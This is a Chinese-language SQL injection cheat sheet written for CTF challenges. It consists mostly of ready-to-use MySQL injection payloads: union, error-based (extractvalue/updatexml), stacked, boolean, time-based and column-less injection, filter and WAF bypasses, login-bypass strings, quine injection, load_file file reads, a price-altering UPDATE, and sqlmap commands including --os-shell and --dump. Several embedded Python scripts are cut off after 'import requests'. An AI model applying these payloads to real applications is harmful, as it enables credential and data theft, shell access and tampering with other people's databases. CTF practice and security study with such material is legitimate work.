SQL注入汇总
SQL 结构
整个结构分为数据库(database),表(table),列(column)和数据。
具体关系如图
- 数据库(database)
information_schema.schematatable_schema - 表(table)
information_schema.schemata.tablestable_name
- 表(table)
- 列(column)
information_schema.columnscolumn_name
- 列(column)
- 数据
SQL 查询用法
查询语句通常为 select a from b where c
查库名 select schema_name from information_schema.schemata
查表名 select group_concat(table_name) from information_schema.tables where table_schema=database()
查列名 select group_concat(column_name) from information_schema.columns where table_name='ctf'
查数据 select group_concat(secret,user) from ctf
SQLMAP 用法
下载:https://github.com/sqlmapproject/sqlmap
中文手册:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Usage/Injection.html
曾经直接注时被 Cookies 卡了半天。我更推荐把 http 文件保存下来用 sqlmap。
--batch 自动处理请求
直接 GET 注: python sqlmap.py -u "url?id=1" --batch
- 使用-r 参数
用 burp 保存为 1.txt 放到同目录。
python sqlmap.py -r 1.txt -p username --batch
- 库名 python sqlmap.py -r 1.txt -p username --batch --dbs
- 当前库名 python sqlmap.py -r 1.txt -p username --batch --current-db
- 表名 python sqlmap.py -r 1.txt -p username --batch -D mysql --tables
- 列名数据一起 python sqlmap.py -r 1.txt -p username --batch -D mysql -T ctf --columns --dump
- 选择注入方法 –-technique
- 默认为所有
- 注入类型对应的参数
B:基于布尔的盲注
E:基于错误
U:基于联合查询
S:堆叠查询
T:基于时间的盲注
Q:内联查询
python sqlmap.py -r 1.txt -p username –-technique BE --batch
- SQLMAP 写 shell
python sqlmap.py -r 1.txt -p username --batch --os-shell
找不到 flag 时可以试试
- 自定义注入 payload
- 选项:--prefix 和 --suffix
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php/?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php/?id=1" -p id --prefix "\")" --suffix "AND ('abc'='abc"
注入字符有双引号必加\注释
- 显示具体payload -v 3 或 -vv (等级默认为1,顺序为0~6,不加等级为2)
联合查询
- 适合有回显的情况
判断注入类型
数字类(如 id)
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
直接在数字后注入,不需要空格
字符类
SELECT * FROM users WHERE username='$username' AND password='$password';
需要引号闭合。看题目,如果没给源码一般是单个’或"闭合,如果给了源码要判断所有的闭合,记得括号也要闭合完全
手动注
sql 结尾要使用注释符号,常见的有:
--+(这里的+是 url 编码过的空格),
--%20(get 传参网站自动省略最后的空格),
#,%23(经过 url 编码)。
还可以构造如 or ‘1’=‘1 来闭合后面的引号,类似的还有末尾加’,where/**/'1,(做多了题感觉注释真的很看脸,注释不成功就注不下去了)
1' or true# (万能密码)(在这里解决闭合和注释)
1' order by 3# 一直累加数字直到报错(或界面与之前不同):
1' order by 4#
Unknown column '4' in 'order clause
这时说明一共 3 位,要联合查询 3 位。
a'union select 1,2,3#
回显的数字说明哪里是回显位。例子中回显的是 2
a'union select 1,database(),3#
库名 mysql
a'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
表名 ctf
有种类似写法是把 select 写到里面:
a'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#。
个人不推荐,很影响美观
a'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctf'#
列名 secret
a'union select 1,group_concat(secret),3 from ctf#
得到 flag,这里 from 后面可以不需要引号
如果限制字符长度可能读不全,需要使用函数截取长度
常见的如 substring,substr,mid,right,left(读不出来记得换,小心过滤)
a'union select 1,substring(group_concat(secret),0,30),3 from ctf#
a'union select 1,substring(group_concat(secret),25,30),3 from ctf#
记得合并时去除重叠字符
一次读多个数据这样写
a'union select 1,group_concat(id,'~',username,'~',password),3 from user#
报错注入
extractvalue
1'||extractvalue(1,concat('~',database()))#
1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))#
1'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('security'))))#
1'||extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users'))))#
1'||extractvalue(1,concat('~',(select(data)from(output))))#
1'||extractvalue(1,concat('~',(select(mid(data,25,30))from(output))))#
updatexml
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('data1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(data1)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(user)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(substring(group_concat(link),25,30))from(user)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(right(group_concat(link),25))from(user)),0x7e),1))#
//substring,substr,mid,right,left,reverse
堆叠注入
在 SQL 终端 中,分号(;)是用来表示一条 sql 语句的结束。在 ; 结束一个 sql 语句后继续构造下一条语句,语句会一起执行。
1';show databases;#得表名supersqli
1';use supersqli;show tables;#
1';desc words;#
1';use supersqli;show columns from `words`;#
1';use supersqli;show columns from `1919810931114514`;#
1';select * from words;#
如果过滤了select:
①
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
1'or 1=1#
②
1';use supersqli;SET @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE sql1 from @sql;EXECUTE sql1;#
③
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
1';create table less38 like users;#
1';drop table less38;#
insert插入数据库
1';insert into ctf values("111","aaa","bbb");--%20
*,1
1;set sql_mode=pipes_as_concat;select 1
布尔,时间盲注
利用脚本 二分查找所有可见字符
bool 参考.py
import requests |
time 参考.py
import requests |
- waf 不强可以用 SQLMAP 省时间
过滤绕过
大小写,双写
字面意思,有些过滤不严的只过滤全小写,sql 对大小写不敏感,构造 Select 就能绕过,双写如过滤 or 在中间再写一遍,oorr 就绕过了
判断通过报错中没有对应关键字逐一尝试就行(应该不会有出题人不给源码和报错又加双写吧)
16 进制转换
可以把引号内的字符串转为 0x 开头的 16 进制数来绕过
‘flag’->0x666c6167
|
常用替换
空格->/\*\*/,括号绕过,%a0,%09
and->&&
or->||
=->like,regexp
database()->schema()
table_schema->database_name
注释符
--空格
--+
#
%23
^1
末尾加'
or '1'='1
and '1'='1
where/**/'1
大于小于号绕过
在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。
绕过可以使用下列函数:
greatest(n1, n2, n3…):返回 n 中的最大值
least(n1,n2,n3…):返回 n 中的最小值
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;
strcmp(str1,str2):
若所有的字符串均相同,则返回 STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
select * from cms_users where userid=1 and strcmp(ascii(substr(database(),0,1)),99);
in + 关键字
select * from cms_users where userid=1 and substr(database(),1,1) in ('c');
between a and b:范围在 a-b 之间(不包含 b)
select * from cms_users where userid=1 and substr(database(),1,1) between 'a' and 'd';
concat 被过滤
- 在 select 语句结尾加 limit 1(只会读取一个数据,即第一个)
可以逐一读取直到读到想要的值
limit 0,1->第一个,limit 1,1->第二个,limit 2,1->第三个…
https://blog.csdn.net/nicai321/article/details/123119356
information_schema 被过滤
更换下面这些库以爆出表名:
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
mysql.innodb_table_stats
mysql.innodb_index_stats
之后会面临两个情况:
- 只有一个表,直接使用 select * from table_name 爆出 columns。
- 不止一个表,这时使用无列名注入
无列名注入
适用 information_schema 被过滤。
原理为将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询
1'union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1
1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
当`反引号也被过滤时,使用 as 别名替换绕过
1'union/**/select/**/1,2,group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
时间盲注 (flag 里有空格会出错)
import requests |
数字型 sql 盲注的另一种做法:
1^1^1 返回正常数据
1^0^1 返回值不一样
使用库名更换爆出表名
1^(select(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{},1))>{}))^1
爆出flag在f1ag_1s_h3r3_hhhhh中
测试字段数
1^(select((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh)))^1 返回正常数据
1^(select((select 1,1,1)>(select * from f1ag_1s_h3r3_hhhhh)))^1 返回值不一样
无列名注入拿到flag
1^(select((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)))^1
过滤了小括号()
运气做出来过一题,记录一下
concat()转为 limit,然而 limit 也被屏蔽后。。
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Schemata+Where+Schema_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Tables+Where+Table_Schema+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Tables+Where+Table_Schema+like+'ctf'+and+Table_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Columns+Where+Table_Schema+like+'ctf'+and+Table_name+like+'f1444444g'+and+Column_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,fl4g,4,5+From+f1444444g%23
靠执行成功时数字溢出进行布尔盲注。
SQL 杂项
ffifdyop md5($password,‘true’)->ffifdyop
可尝试 load_file()直接读入
1'union select 1,2,3,4,load_file('/flag')SQL 登录题
username=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456 username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=quine 注入
过滤了 char,用 chr 或者 0x 代替. 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# B 1'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')# % 1'/**/union/**/select/**/REPLACE(replace('"/**/union/**/select/**/REPLACE(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/REPLACE(replace("%",0x22,0x27),0x25,"%")#')#- char()转为 0x 脚本
import re |
- UPDATE 注入
- 注册时将用户名设为如 admin’-- ,admin’#,通过修改密码处的 UPDATE 函数修改原本密码。
- 修改商品价格 1’;UPDATE items SET price=1;#
- 二次注入
对用户名联合注入
注意冒号前不能设置为能查询到的值,不然没法回显